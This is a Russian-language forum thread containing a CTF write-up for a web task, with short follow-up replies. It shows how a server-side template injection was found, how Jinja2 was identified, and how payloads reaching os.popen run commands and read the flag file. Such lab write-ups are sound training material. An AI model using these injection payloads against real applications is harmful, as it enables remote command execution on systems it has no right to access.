ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Antichat - Странный сервер [Writeup] (https://forum.antichat.xyz/showthread.php?t=1642791)

vov4ick 20.12.2023 15:52

Приветствую любителей играть в CTF, особенно тех кто любит играть на Antichat.games.
Сегодня рассмотрим таск под названием - Странный Сервер из категории Веб.

https://forum.antichat.xyz/attachmen...a37f3f8a72.png

Первое что мы видим переходя по ip:

https://forum.antichat.xyz/attachmen...c377547901.png

Здесь написано что можно что то протестировать, /same /hello_world и тд. При подстановки мы не получаем ничего интересного.
В начале я думал что то связанное с фаззингом. Потратил время, но ничего не нашел.
Зная что админы любят SSTI , и мы любим это, по этому просто подставляем базовую нагрузку в url:

https://forum.antichat.xyz/attachmen...d170c0984a.png

Успешно) и мы сразу понимаем что это Jinja2. Я часто обращаюсь к PayloadsAllTheThings, там подробно описано
как определять шаблонизатор, так же там есть полезные нагрузки и не только для SSTI.

Попробуем что то вывести :
{{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('id').read() }}
Этот код в языке шаблонов предполагает выполнение команды id.
В результате его выполнения будет возвращена информация о текущем пользователе:

https://forum.antichat.xyz/attachmen...36fe75c5be.png

Попробуем теперь поискать что нибудь:

{{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('ls').read() }}

https://forum.antichat.xyz/attachmen...b7fcc2a33f.png

{{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('cat flag.txt').read() }}

https://forum.antichat.xyz/attachmen...cfa3d26e1a.png

Вот и наш заветный флаг. Задание оказалось максимально простым. Спасибо за внимание и до новых встреч!

Kevgen 22.12.2023 20:40

Спасибо за райтап!
Только вопрос: Как ты понял, что это Jinja2? Это результат опыта, или есть какой-то алгоритм, по которому можно определить?

vov4ick 22.12.2023 21:01

Цитата:


Kevgen сказал(а):

Спасибо за райтап!
Только вопрос: Как ты понял, что это Jinja2? Это результат опыта, или есть какой-то алгоритм, по которому можно определить?


Спасибо за оценку! Понять можно по результату этого математического выражения {{7*’7’}} . Какой будет результат , такой и шаблон.

yetiraki 24.12.2023 12:32

Цитата:


Kevgen сказал(а):

Спасибо за райтап!
Только вопрос: Как ты понял, что это Jinja2? Это результат опыта, или есть какой-то алгоритм, по которому можно определить?


Вот тут можно найти как определять что использовать

Kevgen 24.12.2023 12:34

Цитата:


yetiraki сказал(а):

Вот тут можно найти как определять что использовать


Благодарю!)


Время: 03:25